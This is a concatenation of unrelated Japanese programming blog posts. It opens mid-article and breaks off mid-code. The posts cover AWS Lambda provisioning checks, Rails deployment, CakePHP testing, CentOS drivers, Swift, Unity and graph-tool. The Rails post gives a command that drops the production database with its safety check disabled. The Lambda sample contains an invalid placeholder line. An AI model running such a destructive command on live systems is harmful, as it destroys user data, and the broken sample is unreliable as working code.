Javaで作りたくないものだとデスクトップアプリ。デスクトップアプリ作るなら、node.js + ExpressかC#が作りやすいと思う。

Pythonをやっていると帳票とかちょっとつらい。定番のWingarc SVF使うにも都合がよくない。CSV連携でなんとかできそうではあるが。。PDFも得意ではない。

Pythonを仕事で使ってみて圧倒的に不便だったのがデータベースアクセス。
Pythonで有名なWebフレームワークのdjangoは、複合主キーに対応してなかったり楽観排他は対応してないなど業務アプリケーションを作るには不便。

# 仕事の数が多い

日本ではPHPの次に仕事の数が多いと思われる。
PHPは小規模向けの仕事が多いのに対して、大規模システムとなるとダントツにJavaが多い。
仕事を見つけやすいという意味でもエンジニアを目指すならまずJavaを選択するのがいいだろう。

# まとめ

なにごとも基礎は大事。Javaは基礎になる要素がふんだんにあると再認識した。
十数年たってなんて面倒な技術なんだと感じたけど、その面倒な技術は私を強くしてくれた。

面倒くさいことがしっかりできたら他のことがやりやすいよ。と現時点はそんな結論に達した。

ただし、それはエンジニア志望の人向けのおすすめであって、大学の研究で使うなどエンジニアでなければこの限りではない。都合のいい技術をさくっと身につけてその特性を把握しながら使ったらいいと思う。
フリートプロビジョニング前にフックするLambdaの作成例

https://qiita.com/takmot/items/eda7c2f519581b40ec3f
前回記事の続きとして、フリートプロビジョニング前にフックするLambdaの作成例を記載します。

## プロビジョニング許可/拒否判定方法

1. シリアルナンバーと、プロビジョニング許可/拒否を表す値を記載したCSVファイルをS3に格納
2. LambdaからこのCSVファイルを参照し、デバイスから通知されたシリアルナンバーからプロビジョニング許可/拒否判定

以下CSVファイル例

```
SerialNumber,Effect
1,Allow
2,Deny
3,Allow
```

## Lambda関数

### 変更前コード

```python
import json

provision_response = {'allowProvisioning': False}

def isBlacklisted(serial_number):
  #check serial against database of blacklisted serials
  ...

def lambda_handler(event, context):

  # DISPLAY ALL ATTRIBUTES SENT FROM DEVICE
  print("Received event: " + json.dumps(event, indent=2))

  # Assume Device has sent a device_serial attribute
  device_serial = event["parameters"]["SerialNumber"]

  # Check serial against an isBlacklisted() function
  if not isBlacklisted(device_serial):
      provision_response["allowProvisioning"] = True

  return provision_response
```

isBlacklistedで、
引数としてシリアルナンバーを受け取り、
プロビジョニング許可であればFalse、
プロビジョニング拒否であればTrueを返すように変更します。

### 変更後コード

参考記事：
https://qiita.com/asunaro/items/99472b492af387d97b70
https://note.nkmk.me/python-pandas-at-iat-loc-iloc/

```python:lambda_function.py
import json
import boto3
import pandas as pd
from io import StringIO

def isBlacklisted(serial_number):

  BUCKET_NAME：<バケット名>
  KEY_NAME：<CSVファイルパス(xxx/yyy.csv)>

  # S3に格納したCSVファイルからDataFrameを作成
  s3 = boto3.resource('s3')
  s3obj = s3.Object(BUCKET_NAME, KEY_NAME).get()
  csv_string = s3obj['Body'].read().decode('utf-8')
  df = pd.read_csv(StringIO(csv_string), index_col=0)

  try:
    # 許可/拒否判定
    effect = df.at[serial_number, 'Effect']
    if effect == 'Allow':
      return False
    else:
      return True
  except:
    # 該当serial_numberなし
    return True

def lambda_handler(event, context):
  # 変更なし
```

## 外部ライブラリの使用

Lambdaから外部ライブラリ（今回の場合Pandas）を使用する場合、
ライブラリをzipにまとめてアップロードする方法と、
Layerを設定する方法があります。
Layerの作成方法に関しては触れません。
以下記事（2. pandasのLayerのARNを調べ、Layerを追加）を参考にLayerを追加
https://qiita.com/polarbear08/items/202752d5ffcb65595bd9

## 実行ロールのポリシー設定

![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/695430/66736f6e-99f7-30a4-255e-068a852778c4.png)
アクセス制限→ ロール名のリンクをクリック
![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/695430/29a5edc4-742c-f1a5-d3fb-6af22c49f645.png)
「ポリシーをアタッチします」をクリック
![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/695430/cd68d776-63c0-8e09-51af-b60ad2cc497a.png)
AWS管理ポリシーからs3で検索し、
今回S3に格納したファイルのリードが必要なので、
「AmazonS3ReadOnlyAccess」をチェックし、
「ポリシーのアタッチ」をクリック

## Lambda関数のアップロード

※ローカルでLambda関数を作成してアップロードする場合

ファイル名は`lambda_function.py`にします。
lambda_function.pyをzip圧縮します
![4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/695430/a3f41f83-2980-dfea-7fa9-c179fabcabd3.png)
アクションから.zipファイルをアップロードを選択し、アップロードします
[Rails]本番環境EC2で"rails db:create"などの実行方法

## 投稿内容
ローカル環境で行う`rails db:create`や`rails db:migrate`などを本番環境で実行する方法について投稿します。

## 実行するディレクトリへ移動
まず本番環境で下記コマンドで`currentディレクトリ`まで移動します。

```ターミナル.
[ec2-user@******* ~]$ cd /var/www/アプリ名/current
```

## コマンド実行

```ターミナル.
//データベースを削除
[ec2-user@******* current]$ RAILS_ENV=production DISABLE_DATABASE_ENVIRONMENT_CHECK=1 bundle exec rake db:drop

//データベース作成
[ec2-user@******* current]$ rails db:create RAILS_ENV=production

//テーブル、カラムの作成
[ec2-user@******* current]$ rails db:migrate RAILS_ENV=production

//データベースのカラムに情報を送りたい場合
[ec2-user@******* current]$ rails db:seed RAILS_ENV=production
```

## 最後に
本番環境のコマンドはついつい忘れてしまいそうになるので、是非参考にしてもらえると幸いです！
BCC を設定した Cake\Mailer\Mailer をテストすると実際にメールが送信されてしまう件


## 問題

`Cake\Mailer\Mailer` で BCC を設定すると、`EmailAssertTrait` を使用したユニットテストで実際にメールが送信されてしまう場合があったりする :weary: 


```php
<?php
namespace App\Mailer;

use Cake\Mailer\Mailer;

class UserMailer extends Mailer
{
    public function welcom($user): void
    {
        $this
            ->setTo($user->email)
            ->setBcc('bcc@example.com') // <- これ
            ->setSubject('Reset password')
            ->setTemplate('welcom_mail', 'custom');
    }
}
```

## とりあえずの対応

`Cake\Mailer\Mailer::setBcc` をスタブ化する

```php
<?php
namespace App\Test\TestCase\Mailer;

use App\Mailer\UserMailer;
use Cake\Mailer\Email;
use Cake\Mailer\Transport\DebugTransport;
use Cake\TestSuite\EmailAssertTrait;
use Cake\TestSuite\TestCase;

class UserMailerTest extends TestCase
{
    use EmailAssertTrait {
        EmailAssertTrait::getMockForMailer as getMock;
    }

    public function setUp(): void
    {
        parent::setUp();
        Email::setConfigTransport('debug', ['className' => DebugTransport::class]);
    }

    public function tearDown(): void
    {
        parent::tearDown();
        Email::dropTransport('debug');
    }

    public function getMockForMailer($className, array $methods = [])
    {
        // BCC を設定すると実際にメールが送信されてしまうため、Cake\Mailer\Mailer::setBcc をスタブ化する
        if (!in_array('profile', $methods, true)) {
            $methods[] = 'setBcc';
        }

        $mailer = $this->createPartialMock($className, $methods);

        $mailer->expects($this->any())
            ->method('setBcc')
            ->willReturn($mailer);

        return $mailer;
    }

    public function testUserMailerWelcom(): void
    {
        $user = new \stdClass();
        $user->email = 'foo@example.com';

        $mailer = $this->getMockForMailer(UserMailer::class);
        $mailer->send('welcom', [$user]);

        $this->assertEmailTo($user->email);
    }
}
```

## 環境

- CakePHP: 3.6.6

## 参考

- [cakephp/EmailAssertTraitTest.php at 3.6.6 · cakephp/cakephp](https://github.com/cakephp/cakephp/blob/3.6.6/tests/TestCase/TestSuite/EmailAssertTraitTest.php)
CentOSで最新ハードウェアのドライバをELRepoからインストールする

最新のマザーボードを利用してPCを組み、CentOSをインストールしようとすると、ドライバが無くて困る事があります。

例えば、私は先日、ASRockのZ490M-ITX/acでPCを組んでCentOS7をインストールしましたが、Intelのe1000eの最新版ドライバやRealtekの8125 2.5GbE ControllerのNICのドライバが入っていなくて苦労しました。

ドライバをメーカー提供のソースコードからコンパイルするのも良いのですが、コンパイルでコケたり、ドライバのバージョンアップなどに追随する事を考えると、自動でアップグレードできるようにしたいですよね。

* WiFiが使えるのであれば、一旦WiFiでネットワークに接続する
* CentOSが対応している古いNICを一時的に増設する
* CentOSが対応しているUSBネットワークアダプタ(例えば[こちら](https://www.amazon.co.jp/gp/product/B08B691ZP3/ref=ppx_yo_dt_b_asin_title_o02_s00?ie=UTF8&psc=1))で一時的に接続する

など、ネットワークが接続できる状態にして、ELRepoからドライバをインストールするのが便利です。

# ELRepoとは


[ELRepo](http://elrepo.org/tiki/HomePage)とは、エンタープライズLinuxパッケージのためのRPMレポジトリです。
Enterprise Linux Repositoryの略だそうです。
Red Hat Enterprise Linux (RHEL)や、その派生ディストリビューション(Scientific Linux、CentOS等)に対応しています。

ELRepoは、RHEL、CentOS、Scientifc Linuxのコミュニティで活動されている5人のメンバーから成り立っているそうです。

* Alan Bartlett (aka burakkucat)
* Phil Perry (aka pperry)
* Stephen Tindall
* Dag Wieers
* Akemi Yagi (aka toracat)

Yagi Akemiさんという日本人の方も参加されていらっしゃいます。

# 利用手順

## パブリックキーのインストール

まず、パブリックキーをインポートします。

```shell
$ sudo rpm --import https://www.elrepo.org/RPM-GPG-KEY-elrepo.org
```

## Secure Bootが有効になっているシステムにインストールする場合

Secure Bootが有効になっているシステムでELRepoのカーネルモジュールを使う場合には、ELRepoのSecure BootパブリックキーをMOK(Machine Owner Key)リストに追加しておく必要があります。

このやり方は、本家の[SecureBootKey](http://elrepo.org/tiki/SecureBootKey)を参照されると良いです。

## ELRepoのインストール

### RHEL8、CentOS8

```shell
$ sudo yum install https://www.elrepo.org/elrepo-release-8.el8.elrepo.noarch.rpm
```

### RHEL7、Scientific Linux7、CentOS7

```shell
$ sudo yum install https://www.elrepo.org/elrepo-release-7.el7.elrepo.noarch.rpm
```

これだけだと、本家のサーバからインストールすることになり、ダウンロードに時間が掛かります。
ミラーを使えるように、以下のコマンドも実行しておきます。

```shell
$ sudo yum install yum-plugin-fastestmirror
```

### RHEL6、Scientific Linux6、CentOS6

```shell
$ sudo yum install https://www.elrepo.org/elrepo-release-6.el6.elrepo.noarch.rpm
```

これだけだと、本家のサーバからインストールすることになり、ダウンロードに時間が掛かります。
ミラーを使えるように、以下のコマンドも実行しておきます。

```shell
$ sudo yum install yum-plugin-fastestmirror
```

## 対応ハードウェアドライバ一覧

どのようなハードウェアのドライバがレポジトリにあるのかは、本家Webサイトの[Package](http://elrepo.org/tiki/Packages)で確認できます。

## ドライバのインストール

メインチャンネルであるelrepoでは、ディストリビューションで収録されているドライバとバッティングしないようにしているそうです。
レポジトリを利用する前に必ずyum updateをしましょう。

```shell
$ sudo yum update
```

そして、自分がインストールしたいドライバをインストールします。
例えば、Intelのe1000eであれば、

```shell
$ sudo yum install kmod-e1000e
```

Realtek8125 2.5GbE Controllerであれば、

```shell
$ sudo yum install kmod-r8125
```

当然ながら、事前に自分が使いたいNICの製品番号をマザーボードの説明書などを読んで確認しておいて下さい。

インストールされるパッケージやリポジトリの設定によっては、elrepo 以外のリポジトリを無効にする必要があるかもしれません。

```shell
$ sudo yum --disablerepo=\* --enablerepo=elrepo install kmod-nvidia
```
[Slick]最初のスライダーから最後のスライダーへ移動すると高速で一周する現象を直したい


<h2>なりゆき</h2>
Slickのバグかと思って検索しまくったのですが、同一の現象が全く無く困り果てたので（唯一あった<a href="https://qiita.com/yokomele/items/fecfe4774bd0c7b5edfa" target="_blank">同じ現象の対処法</a>は直ったは直ったが理想の動きにはならず、使えなかった）メモ書き+誰かのエラーに刺されば・・・と書き留めます。

<h2>原因</h2>
CSSに記載していた、
<code>
* {
    -webkit-transition: all .6s;
    transition: all .6s;}
</code>
コイツが原因でした。
競合してたのか何なのか、私はこれをcommon.cssで全部に効くようにしていたので、Slickのdivやらbuttonやらなにやらすべてにかかってしまっていたみたいです。

<h2>解決法</h2>
原因でほぼ解決法はお分かりかと思いますが、
まるっと削除するか、適用範囲をSlickの部分だけ除かせる。
<code>
* {
    -webkit-transition: all .6s;
    transition: all .6s;}
</code>
これを削除するか、
<code>
*:not(.slick-track) {
    -webkit-transition: all .6s;
    transition: all .6s;}
</code>
:notでslick範囲を除くか。

しかしながら、少しカクツキが残るので理想とは言えない。
どうしたもんかなぁ
処理中にディスプレイ/システムをスリープさせない

ユーザからの入力がなくても常時表示する必要があるタイマーアプリや、途切れさせてはならない計算処理を実行する際に、ディスプレイやシステムをスリープさせないようにする。

## ディスプレイをスリープさせない
```swift
let activity = ProcessInfo.processInfo().beginActivity(options: .idleDisplaySleepDisabled, reason: "ディスプレイのスリープを妨げる理由")
// Do something
ProcessInfo.processInfo.endActivity(activity)
```

## システムをスリープさせない
```swift
let activity = ProcessInfo.processInfo().beginActivity(options: .idleSystemSleepDisabled, reason: "システムのスリープを妨げる理由")
// Do something
ProcessInfo.processInfo.endActivity(activity)
```

## 参考文献

- [ProcessInfo | Apple Developer Documentation](https://developer.apple.com/documentation/foundation/processinfo)
- [ProcessInfo.ActivityOptions | Apple Developer Documentation](https://developer.apple.com/documentation/foundation/processinfo/activityoptions)
【物体検出】RCNNの歴史を軽く振り返ってみる

沢山の人が記事2Dの物体検出に関して分かりやすく書いているから、詳しく知りたい人はそっちを見た方が良いかも。

<h1>R-CNN</h1>

Region Proposalに対してそれぞれに畳み込みをする

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/482094/73b9d48c-4a98-4f3b-077d-438ebeb8759a.png)


<h1>Fast R-CNN</h1>
R-CNNではすべてのRegion Proposalに畳み込みを行っていたので計算コストが高かった。
Fast-RCNNでは画像全体に畳込みを行う事で処理が早くなった。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/482094/4d5627b3-173c-4242-9979-bb1cfb9cc537.png)

<h1>Fastr R-CNN</h1>
Fast-RCNNでは画像全体にRegion Proposalをしていた為計算コストが高かった。
Faster-RCNNでは画像全体に畳込んだFeature Mapを使いRegion Proposalをする事でさらに早くなった。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/482094/1a89c63d-7ca4-bebd-2ade-52044109fe02.png)


<h1>結論</h1>
処理の手順を変えるだけで、どんどん早くなっている。この後YOLOやSSDが出てきて、Region ProposalをAnchor Boxを使う事でより高速化されている。



<h1>参考文献</h1>
最新のRegion CNN(R-CNN)を用いた物体検出入門 ~物体検出とは? R-CNN, Fast R-CNN, Faster R-CNN, Mask R-CNN~
https://qiita.com/drafts/03422d38dbf43fd9b4fb/edit
機械学習で「動画の決定的瞬間をスクショに収める」アプリをつくった

# 決定的瞬間を撮り忘れない仕組み

Maker Faire Tokyo 2020　にオンラインで参加しました。
初めて参加しましたが、いろんな工夫がされた作品が多くて楽しかったです。

中でも、良いなと思ったのが、これ。

![image43.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/664861/dd37b373-74f1-f0c4-a2b4-b049d3e49b0a.jpeg)

私も２歳のこどもがいますが、時々**「あーこの瞬間、映像に収めたかった」**っていうタイミングがあるんですよね。で、「もう１回やって！」というと、次はやってくれなかったり、ちょっと違う形になったりして、「あー残念。」と思うことがあります。

このふれAIレコーダーは、音声のみの録音ですが、それでもニーズあります。映像だともっといいと思いますけどね。

で、**この「決定的瞬間を撮りたい」ってニーズってあるよなと思い、そこからインスピレーションを得て、自分が以前つくったものをバージョンアップさせてみました。**


# １人で「笑ってはいけないゲーム」を楽しむアプリ

以前、こんな記事を書きました。

[一人笑ってはいけないゲームができるWEBアプリを機械学習でつくった](https://qiita.com/kaiser355/items/f62fd09b0e2bfe16e973)

年末の「笑ってはいけない。」を１人で楽しめるアプリです。TeachableMachineで学習させた「笑顔」を認識すると、おなじみの「デデーン！！」の音が流れます。



# そのアウト！の証拠写真を保存する。

ただ、このアプリを使った時、「えーいまの笑ってないでしょ！」って反発する人もいるかもしれません。

なので、一瞬でも笑ってしまったという証拠を捉えるために、その決定的瞬間をスクショに収める機能を実装しました。


それがこちらです。

<blockquote class="twitter-tweet"><p lang="ja" dir="ltr">以前つくった「1人で笑ってはいけない」ゲームができるWEBアプリに、自動スクショ機能をつけました。<br><br>これで笑った証拠をバッチリ収められます。<br><br>・・・と思いましたが、反応が早すぎて、笑う寸前でもうスクショされちゃうので、まだまだ調整が必要です。<a href="https://twitter.com/hashtag/protoout?src=hash&amp;ref_src=twsrc%5Etfw">#protoout</a> <a href="https://twitter.com/hashtag/%E6%A9%9F%E6%A2%B0%E5%AD%A6%E7%BF%92?src=hash&amp;ref_src=twsrc%5Etfw">#機械学習</a>　<a href="https://twitter.com/hashtag/teachablemachine?src=hash&amp;ref_src=twsrc%5Etfw">#teachablemachine</a> <a href="https://t.co/LsYt19tnum">pic.twitter.com/LsYt19tnum</a></p>&mdash; 柳瀬浩之@人材開発×UX専門家 (@btap_hiro) <a href="https://twitter.com/btap_hiro/status/1314368673432260608?ref_src=twsrc%5Etfw">October 9, 2020</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>


ただ、スクショのタイミングが早すぎて、笑う前のスクショになってしまっている。。もう少し調整が必要そうです。

もしよろしければ、遊んでみてください。

[【WEBアプリ】１人笑ってはいけないゲーム](https://condescending-cray-92f07a.netlify.app/)



**※私の場合は、上の動画のように顔をかなり近づけた場合に限り、正確に診断できました。また、私の顔で認識しているので、他の方の顔で読み取ってくれるかまだ検証できていません。今後精度を高めていきます**



# スクショのダウンロードの仕方

本当はダウンロードボタンを実装しようとしたんですが、うまくいかなかったので、現状は、**普通にスクショ画像を右クリックから画像を保存してください。**

今後は、ダウンロードボタンと、twitterに簡単に共有できるものを作れたらいいかもしれませんね。


# 決定的瞬間をスクショに収める機能の作り方

まずhtml側のスクショを表示させたい場所に、以下を挿入します。

```html
<canvas id="canvas"></canvas>
```

scriptタグ内に以下の関数を作り、if文（笑ったと認識した場合）の中で関数を実行させます。

```javascript
const autoPhoto = function () {
  var $canvas = $('#canvas');

  $canvas.attr('width', video.videoWidth);
  $canvas.attr('height', video.videoHeight);
  $canvas[0].getContext('2d').drawImage(video, 0, 0, $canvas.width(), $canvas.height());
  $('#download').attr('href', $canvas[0].toDataURL('image/png'));                  
}
```

こちらの記事を参考につくりました。
[canvasタグを使って動画のスクリーンショットを撮る方法](https://blog.engineer.adways.net/entry/2017/02/24/160000)


# コード全文


[こちら](https://gist.github.com/kaiser355/4083a02763281faa1bade91193b0dc4e)をご覧ください。


# 家族や友だちと過ごす年末を少しでも楽しく

今年はコロナでなかなか思うように外出できず、また帰省もしにくい日々を送っています。もしかしたら、年末もオンラインで家族や友だちと正月を迎える、ということもあるかもしれません。

そんな時に、このアプリでみなさんが少しでも楽しく過ごせたらなと思いますので、みんなが楽しめる精度に仕上げていきたいと思います。
Online Environment

# Online Enviroment

今回いつでも、どこでもプログラミングしたいと思いながら、ネット上であるツールを纏めました。

## PlantUml Web Server
>http://www.plantuml.com/plantuml/uml/SyfFKj2rKt3CoKnELR1Io4ZDoSa70000

## Mock Data Generator
>https://www.mockaroo.com/

## Markdown
>https://qiita.com/

## File Sharing 
>https://drive.google.com/drive/u/0/my-drive

## Online IDE
### docs
> https://www.gitpod.io/docs/

### get started
>https://www.gitpod.io/#get-started

## CVS
>https://github.com
https://bitbucket.org
Maven FAQ

# Maven
* 主にJava用プロジェクト管理ツール、他の言語プロジェクトも使えます
* Apache Antに代わるものとして作られた
* Mavenの大きな特徴は,使用したいJARライブラリ名及びバージョンを指定することで、外部サイトで集中管理されているJARを自動ダウンロードし、ローカルでビルドに使用することができる
* pom.xml　（project object model)

例：

```xml

<project>
  <!-- model version is always 4.0.0 for Maven 2.x POMs -->
  <modelVersion>4.0.0</modelVersion>
  <!-- project coordinates, i.e. a group of values which uniquely identify this project -->
  <groupId>com.mycompany.app</groupId>
  <artifactId>my-app</artifactId>
  <version>1.0</version>
  <!-- library dependencies -->
  <dependencies>
    <dependency>
      <!-- coordinates of the required library -->
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>3.8.1</version>
      <!-- this dependency is only used for running and compiling tests -->
      <scope>test</scope>
    </dependency>
  </dependencies>
</project>
```



## Sources
> https://en.wikipedia.org/wiki/Apache_Maven
> https://maven.apache.org/
Docker Intellij

# Docker IntelliJ

## 手順
* create dockerfile
* Start with a base image containing Java runtime (mine java 8)
* Add Maintainer Info
* Add a volume pointing to /tmp
* Make port 8080 available to the world outside this container
* The application's jar file (when packaged)
* Add the application's jar to the container

```shell
npm install touch-cli -g
touch Dockerfile

FROM openjdk:8u212-jdk-slim

LABEL maintainer="your@email.com"

VOLUME /tmp

EXPOSE 8080

ARG JAR_FILE=target/codestatebkend-0.0.1-SNAPSHOT.jar

ADD ${JAR_FILE} codestatebkend.jar
```

## Run the jar file 
```shell
ENTRYPOINT ["java","-Djava.security.egd=file:/dev/./urandom","-jar","/codestatebkend.jar"]

docker build -t <appname> .
```
複数プロトコル指定つきオプショナル型の変数定義

複数プロトコルを適用したOptional型の定義に戸惑ったのでメモ書きレベルです

# 複数プロトコルの適用した宣言
Optionalじゃないものはこれ。
安直に末尾に?をつけるとエラーになります.

```.swift
class Hoge {
    var fuga: SomeClass & HogeProtocol & FugaProtocol 
}
```

# 複数プロトコルの適用したOptionalの宣言

書き方はいろいろありました。

## カッコ
```.swift
class Hoge {
    weak var delegate: (SomeClass & SomeProtocol & FugaProtocol)?
}
```
## シンタックスシュガーなし
```.swift
class Hoge {
    weak var delegate: Optional<SomeClass & SomeProtocol & FugaProtocol>
}
```

## typealiasの利用。
```.swift
typealias HogeDelegate = SomeClass & SomeProtocol & FugaProtocol
class Hoge {
    weak var delegate: HogeDelegate?
}
```
AWS LightsailにMineCraft(Spigot)サーバーを移行してみた

MineCraft(Spigot)サーバーをAWSに移行しました。
AWS初心者が事始めにちょっとやってみたというノリなので

- これやりゃもっと安く上がる
- これは無駄なことやってる

等のマサカリがあれば随時募集してます。

# 概要
- 自宅でHamachi使っていた身内向けSpigotサーバーをAWS Lightsailに移行した
- 移行後1日しか経過してないけど報告
- 動作は快適そのもの
- 24時間動かしてたらCPUバースト1日で溶けた
- 月10$（のはず）

# 手順概略
- AWS Lightsailでインスタンス作成
- 静的IP設定
- FW設定
- インスタンスにssh接続
- scp使って既存サーバーのワールドデータコピー
- BuildTools.jarでspigotをビルド
- サーバー起動・接続

# AWS Lightsailでインスタンス作成
## インスタンスのディストロ選択
ロケーションは住んでいるところの近くらへんで適当に
Linux選んでディストロは適当に
Ubuntu好きなのでUbuntuにしました
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210706/f5b0865d-98a1-ac85-dd15-c04a038f3a12.png)

SSHのpemはここで落とします（あとでも落とせます）

![rapture_20201009093126.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210706/cb922130-e9c1-5f69-1b1b-90b8d0a4e3f8.jpeg)

## プラン選択
この辺は人によりそう
自分のサーバーは同時接続5人行かない上にプラグイン少ない小規模鯖なのでRAM2GBの$10で足りました
RAMは必要に応じて増やしましょう

![rapture_20201009092736.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210706/eec76b7d-348f-aa94-a472-3c6ed9a97ad8.jpeg)

## あとは作るだけ
名前を入れて作成ポチっとするだけです

# 静的IP設定
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210706/94171d45-cd72-d808-75af-5d5b0f89655d.png)

から静的IPを作ります

名前とアタッチするインスタンスを設定するだけです
インスタンスはさっき作ったものを指定します

Elastic IPのものと同じらしく、アタッチしてない静的IPには課金されます

# FW設定
↓から管理

![タイトルなし.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210706/8d1301d0-b48e-d307-3c80-1f182437a6ad.png)

ネットワーキングタブから25565ポートを許可しておきます

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210706/9567b6d7-0dd2-c736-1c3d-4eedd838cef9.png)



# インスタンスに接続
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210706/62b3b87c-6d98-2d55-611b-2bf63e1cabe5.png)

上のターミナルのボタンクリックするとブラウザ上でSSH接続始まってコンソールが開きます
パッケージインストールなどは適当にここで

# scp使ってコピー
前もって`spigot.zip`とかにでも圧縮しといたことにします

```bash
scp -i xxx.pem spigot.zip <username>@<静的IP>:<path>
```

あとは展開もしときましょう

# BuildTools.jarでspigotをビルド
デフォでjava8が入っていたかうろ覚え
入ってなさそうだったら適当にインストールしてください
`sudo apt update && sudo apt upgrade -y`お忘れなく
BuildTools.jarは

```bash
wget https://hub.spigotmc.org/jenkins/job/BuildTools/lastSuccessfulBuild/artifact/target/BuildTools.jar
```
落としてきたのを`spigot-<version>.jar`がもともとあった場所に動かしたらあとは

```bash
java -jar BuildTools.jar --rev <version>
```

# サーバー起動・接続
サーバー起動はいつも通り
```bash
java -jar -Xmx1024M -Xms1024M spigot-<version>.jar nogui
```

あとは静的IPをクライアントで入力して接続するだけです

# 今後解決が必要そうなやつ
**1日でCPUのバーストが溶けました**
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210706/d71c41dd-7bb6-d166-cbfd-92f37190ae49.png)
左側のスパイクは諸々ビルドしたりしてた時のもので、その後は落ち着いているんですが、右端のところはアイアンゴーレムトラップ横で放置していた時のもので、誰かログインしているとクレジットが溶ける、という状態のようです。
しかしこれの為に$20にするのは気が引ける…

# まとめ
spigotサーバーをAWSに移行しました
少人数・MOD少なめ鯖なら$10で移行可能です
Unity ３Dオブジェクトが伸びて表示される

##Unity ３Dオブジェクトが伸びて表示される

Sceneの表示では普通に表示されている3Dオブジェクトが実際にプログラムを動かした時の画面、つまりカメラから見た時の表示では妙に伸びた感じなってしまい、これは一体どういうことかと悩んだ。


このような普通の立方体が・・・
![スクリーンショット 2020-10-06 10.37.41.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/329973/dc085682-c7b7-8319-72f0-3182c63e82b2.png)

こんなになる。ところてん。
![スクリーンショット 2020-10-06 10.38.37.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/329973/a64e3e41-ee91-522e-c5a9-cadd2ab6e572.png)

#解決策
一体どういうことかと悩んでいじっているうちにカメラの視野角（Field of View）に関係があることがわかった。色々触っている中で視野角を大きくしすぎてしまったらしい。人間の視野は大体１２０度くらいやからそのくらいで良いだろうと思ったのか。

Field of Viewを60にしてやると
![スクリーンショット 2020-10-06 10.43.13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/329973/9f89bf8c-3b3e-4828-ec9b-2d7d71346110.png)

普通になった。よかったよかった。
なお視野角を狭くしただけだと対象が視野に入らなくなってしまうので、カメラを後ろに移動する必要もあります。

####環境
Unity 2020.1.6f1
Unity テクスチャの繰り返し

#Unity テクスチャの繰り返し
マテリアルにテクスチャを繰り返し表示するようにしたかったが、Tilingの値をいくらいじっても1枚分の画像しか表示されず、それ以外の部分は妙に引き伸ばされた画像が表示されるだけだった。

![スクリーンショット 2020-10-06 10.03.54.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/329973/16be4cf4-6d88-6f19-4f97-2d4766d93f5b.png)
２×２で表示させようとしたが、右上４分の１以外は妙なことになっている。


##解決方法
ネットで色々調べてもこの現象についての情報が見つからず、一体どういうことかと思って色々いじっているうちにわかった。マテリアルではなくテクスチャ側の設定だった。
Wrap ModeがClampになっていたせい。
![スクリーンショット 2020-10-06 9.48.18.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/329973/3dd4470f-efb8-4636-6eb9-dc638a4451c2.png)

これをRepeatに変えてやれば・・・
![スクリーンショット 2020-10-06 9.50.48.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/329973/e676973e-7fd9-62f5-ff51-3d8191e25042.png)

繰り返し表示された！
![スクリーンショット 2020-10-06 10.09.16.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/329973/83631c56-f786-f540-0d99-ffa6e464f84e.png)


デフォルトでClampになってしまうようだが、ネットで見つかる情報ではここを変更する必要があることが書いてないものが多い。


継ぎ目が綺麗に行かないなという場合はMirrorにしてやれば反転した画像を貼り付けてくれるので、綺麗につながる。反転しても良いテクスチャの場合しか使えないが。
![スクリーンショット 2020-10-06 10.11.35.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/329973/fe615be7-e79e-a407-65fc-3ab524e05967.png)


####環境
Unity 2020.1.6f1
graph-toolでcsv形式のリンクリストを読み込む

## やりたいこと

[graph-tool](https://graph-tool.skewed.de/)で以下のようなリンクリスト`(source,dest,weight)`形式のファイルを読み込むことを考える。

```csv:link_list.csv
Alice,Bob,2
Bob,Charlie,5
Charlie,Alice,3
```

## コード

このファイルをgrpah-toolで読み込むには以下のようにcsvモジュールを使ってパースする。

```py:load_csv_link_list.py
import csv
import graph_tool.all as gt

nodes = set()
rows = []

with open('link_list.csv') as f:
    reader = csv.reader(f)
    rows = [row for row in reader]

for row in rows:
    nodes.add(row[0])
    nodes.add(row[1])

nodes = list(nodes)
g = gt.Graph()
g.vp['name'] = g.new_vp('string')

for n in nodes:
    v = g.add_vertex()
    g.vp['name'][v] = n

# set edges
g.ep['weight'] = g.new_ep('double')

for row in rows:
    s = nodes.index(row[0])
    t = nodes.index(row[1])
    w = float(row[2])
    vs = g.vertex(s)     # => get vertex object from the index
    vt = g.vertex(t)
    e = g.add_edge(vs, vt)
    g.ep['weight'][e] = w
```

やっていることは以下の通り

- まずはcsvファイルの内容全てを読み込んでしまい、ノードの一覧`nodes`を作る
    - ユニークな物だけを取り出したいので、`set`に格納し、その後listに変換している
- ノード名はgraph に文字列の vertex_property `name` を作成して `g.vp['name'] = g.new_vp('string')` 格納している
    - `g.vp`はノードに対する属性(vertex_property)を保持している
- エッジの重みは浮動小数点型 edge_property `weight` を作成して、格納している

グラフを可視化してみるとこのようになる。

## 結果

ちなみにこのグラフを可視化した結果はこのようになる。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/28792/5659fd84-bd5b-c8cf-1107-e3e6ee541167.png)


```py3
pos = gt.arf_layout(g)
